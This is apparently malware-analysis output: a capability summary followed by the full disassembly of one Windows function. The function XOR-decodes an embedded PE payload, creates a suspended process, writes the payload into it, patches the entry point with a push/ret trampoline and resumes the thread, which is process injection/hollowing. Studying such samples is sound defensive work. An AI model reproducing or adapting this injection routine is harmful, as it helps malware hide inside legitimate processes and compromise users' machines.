Function at 0x1008f4a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Terminate process
Terminate thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100bb39a
mov eax, dword fs:[0]
push eax
sub esp, 0x3ac
mov eax, dword [0x100e93e0]
xor eax, ebp
mov dword [ebp - 0xb0], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x94], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0x8c], 0
push 0x40
push 0
lea eax, [ebp - 0x88]
push eax
call fcn.100738a0
add esp, 0xc
mov dword [ebp - 0x20], 0
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x90], 0
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x9c]
call fcn.10004033
mov dword [ebp - 4], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x38], 0
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 8]
mov dword [ebp - 0x34], edx
push 4
push 0x3000
mov eax, dword [0x10100e30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0
jne 0x1008f5b9
mov dword [ebp - 0x30], 0
jmp 0x1008fbd9
mov ecx, dword [0x10100e30]
push ecx
push 0x100ea6d0
mov edx, dword [ebp - 0xa0]
push edx
call fcn.10073920
add esp, 0xc
mov dword [ebp - 0xe4], 0
jmp 0x1008f5ef
mov eax, dword [ebp - 0xe4]
add eax, 1
mov dword [ebp - 0xe4], eax
mov ecx, dword [ebp - 0xe4]
cmp ecx, dword [0x10100e30]
jae 0x1008f621
mov edx, dword [ebp - 0xa0]
add edx, dword [ebp - 0xe4]
movzx eax, byte [edx]
xor eax, 0xa4
mov ecx, dword [ebp - 0xa0]
add ecx, dword [ebp - 0xe4]
mov byte [ecx], al
jmp 0x1008f5e0
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x1008f64a
mov dword [ebp - 0x30], 1
jmp 0x1008fbd9
mov edx, dword [ebp - 0x94]
mov eax, dword [ebp - 0xa0]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xa4], eax
mov ecx, dword [ebp - 0xa4]
cmp dword [ecx], 0x4550
je 0x1008f679
mov dword [ebp - 0x30], 2
jmp 0x1008fbd9
mov edx, dword [0x10100e30]
mov dword [ebp - 0x3c], edx
push 0x44
push 0
lea eax, [ebp - 0x8c]
push eax
call fcn.100738a0
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x20]
push ecx
call fcn.100738a0
add esp, 0xc
mov dword [ebp - 0x8c], 0x44
mov word [ebp - 0x5c], 0
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x8c]
push eax
push 0
push 0
push 0x8000004
push 0
push 0
push 0
lea ecx, [ebp - 0x9c]
call fcn.100415f3
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1008f6f3
mov dword [ebp - 0x30], 3
jmp 0x1008fbd9
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.1008f3a0
add esp, 4
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x1008f714
mov dword [ebp - 0x30], 4
jmp 0x1008fbd9
push 0
push 4
lea edx, [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x2c]
add eax, 8
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1008f73d
mov dword [ebp - 0x30], 5
jmp 0x1008fbd9
mov edi, dword [ebp - 0x3c]
mov esi, dword [ebp - 0xa0]
call fcn.1006d170
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
ja 0x1008f766
mov dword [ebp - 0x30], 6
jmp 0x1008fbd9
push 0x40
push 0x3000
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 4]
mov ecx, dword [ebp - 0xc8]
lea edx, [ecx + eax + 0x400]
mov eax, dword [0x10100e30]
lea ecx, [edx + eax + 0xa]
push ecx
push 0
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jne 0x1008f7b1
mov dword [ebp - 0x30], 7
jmp 0x1008fbd9
mov eax, dword [ebp - 0x98]
push eax
mov edx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0xa0]
call fcn.1006cd40
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x1008f7db
mov dword [ebp - 0x30], 8
jmp 0x1008fbd9
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xe0], 0
lea esi, [ebp - 0xe0]
lea edx, [ebp - 0xc0]
lea ecx, [ebp - 0xc4]
mov eax, dword [ebp - 0x24]
call fcn.1006d140
test eax, eax
je 0x1008f832
cmp dword [ebp - 0xc4], 0
je 0x1008f832
cmp dword [ebp - 0xc0], 0
je 0x1008f832
cmp dword [ebp - 0xe0], 0
jne 0x1008f83e
mov dword [ebp - 0x30], 9
jmp 0x1008fbd9
mov ecx, dword [ebp - 0xc8]
add ecx, 0x400
cmp dword [ebp - 0xc0], ecx
jbe 0x1008f85e
mov dword [ebp - 0x30], 0xa
jmp 0x1008fbd9
mov edx, dword [ebp - 0xc4]
mov dword [ebp - 0xd4], edx
mov eax, dword [ebp - 0xd4]
mov word [eax + 0x1c], 0xcc23
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0xc0]
mov dword [ecx + 0x20], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc0]
add ecx, dword [eax + 4]
mov edx, dword [ebp - 0xd4]
mov dword [edx + 0x28], ecx
mov eax, dword [ebp - 0xd4]
mov ecx, dword [0x10100e30]
mov dword [eax + 0x2e], ecx
mov dword [ebp - 0xd8], 0
lea edx, [ebp - 0xd8]
push edx
mov eax, dword [ebp - 0xc0]
push eax
mov ecx, dword [ebp - 0xc4]
push ecx
mov edx, dword [ebp - 0x98]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
je 0x1008f8f6
mov ecx, dword [ebp - 0xd8]
cmp ecx, dword [ebp - 0xc0]
je 0x1008f902
mov dword [ebp - 0x30], 0xb
jmp 0x1008fbd9
mov dword [ebp - 0xd8], 0
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
add eax, 1
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 8], eax
lea edx, [ebp - 0xd8]
push edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x98]
add eax, dword [ebp - 0xc0]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xd0], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 8]
sub eax, 1
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 8], eax
cmp dword [ebp - 0xd0], 0
je 0x1008f970
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0xd8]
cmp eax, dword [edx + 4]
je 0x1008f97c
mov dword [ebp - 0x30], 0xc
jmp 0x1008fbd9
mov dword [ebp - 0xd8], 0
lea ecx, [ebp - 0xd8]
push ecx
mov edx, dword [0x10100e30]
push edx
push 0x100ea6d0
mov eax, dword [ebp - 0x98]
add eax, dword [ebp - 0xc0]
mov ecx, dword [ebp + 0xc]
add eax, dword [ecx + 4]
push eax
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
je 0x1008f9d3
mov eax, dword [ebp - 0xd8]
cmp eax, dword [0x10100e30]
je 0x1008f9df
mov dword [ebp - 0x30], 0xd
jmp 0x1008fbd9
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.1008f2c0
add esp, 8
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0
jne 0x1008fa0a
mov dword [ebp - 0x30], 0xe
jmp 0x1008fbd9
mov eax, dword [ebp - 0x98]
add eax, dword [ebp - 0xe0]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xbc], 0
lea ecx, [ebp - 0xbc]
push ecx
push 0x40
push 0x14
mov edx, dword [ebp - 0xdc]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov byte [ebp - 0xb8], 0x68
mov byte [ebp - 0xb7], 0
mov byte [ebp - 0xb6], 0
mov byte [ebp - 0xb5], 0
mov byte [ebp - 0xb4], 0
mov byte [ebp - 0xb3], 0xc3
mov ecx, dword [ebp - 0xa8]
mov dword [ebp - 0xb7], ecx
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xcc], 0
lea edx, [ebp - 0xd8]
push edx
push 6
lea eax, [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xdc]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
je 0x1008fac5
cmp dword [ebp - 0xd8], 6
je 0x1008fb43
mov dword [ebp - 0x3b4], 0
push 0x2c8
push 0
lea eax, [ebp - 0x3b0]
push eax
call fcn.100738a0
add esp, 0xc
mov dword [ebp - 0x3b4], 0x10007
lea ecx, [ebp - 0x3b4]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1008fb0d
mov dword [ebp - 0x30], 0xf
jmp 0x1008fb55
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x304], eax
lea ecx, [ebp - 0x3b4]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1008fb37
mov dword [ebp - 0x30], 0x10
jmp 0x1008fb55
mov dword [ebp - 0xcc], 1
jmp 0x1008fb4d
mov dword [ebp - 0xcc], 1
xor eax, eax
jne 0x1008fa8c
cmp dword [ebp - 0xcc], 0
jne 0x1008fb8b
push 0
push 4
push 0
mov ecx, dword [ebp - 0xa8]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x1008fb8b
mov dword [ebp - 0x30], 0x11
jmp 0x1008fbd9
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xcc], 0
jne 0x1008fbac
cmp dword [ebp - 0x10], 0
je 0x1008fbac
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0xac]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x1008fbc7
mov dword [ebp - 0x30], 0x12
jmp 0x1008fbd9
mov dword [ebp - 0x90], 1
xor eax, eax
jne 0x1008f580
cmp dword [ebp - 0x24], 0
je 0x1008fbee
mov eax, dword [ebp - 0x24]
call fcn.1006d120
mov dword [ebp - 0x24], 0
cmp dword [ebp - 0x1c], 0
je 0x1008fc13
cmp dword [ebp - 0x90], 0
jne 0x1008fc09
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x20], 0
je 0x1008fc36
cmp dword [ebp - 0x90], 0
jne 0x1008fc2e
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x20]
mov dword [ecx], edx
cmp dword [ebp - 0x10], 0
je 0x1008fc46
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xa0], 0
je 0x1008fc68
push 0x8000
mov ecx, dword [0x10100e30]
push ecx
mov edx, dword [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x38]
mov dword [ecx], edx
mov eax, dword [ebp - 0x34]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x30]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9c]
call fcn.1001085b
mov eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0xb0]
xor ecx, ebp
call fcn.10070c21
mov esp, ebp
pop ebp
ret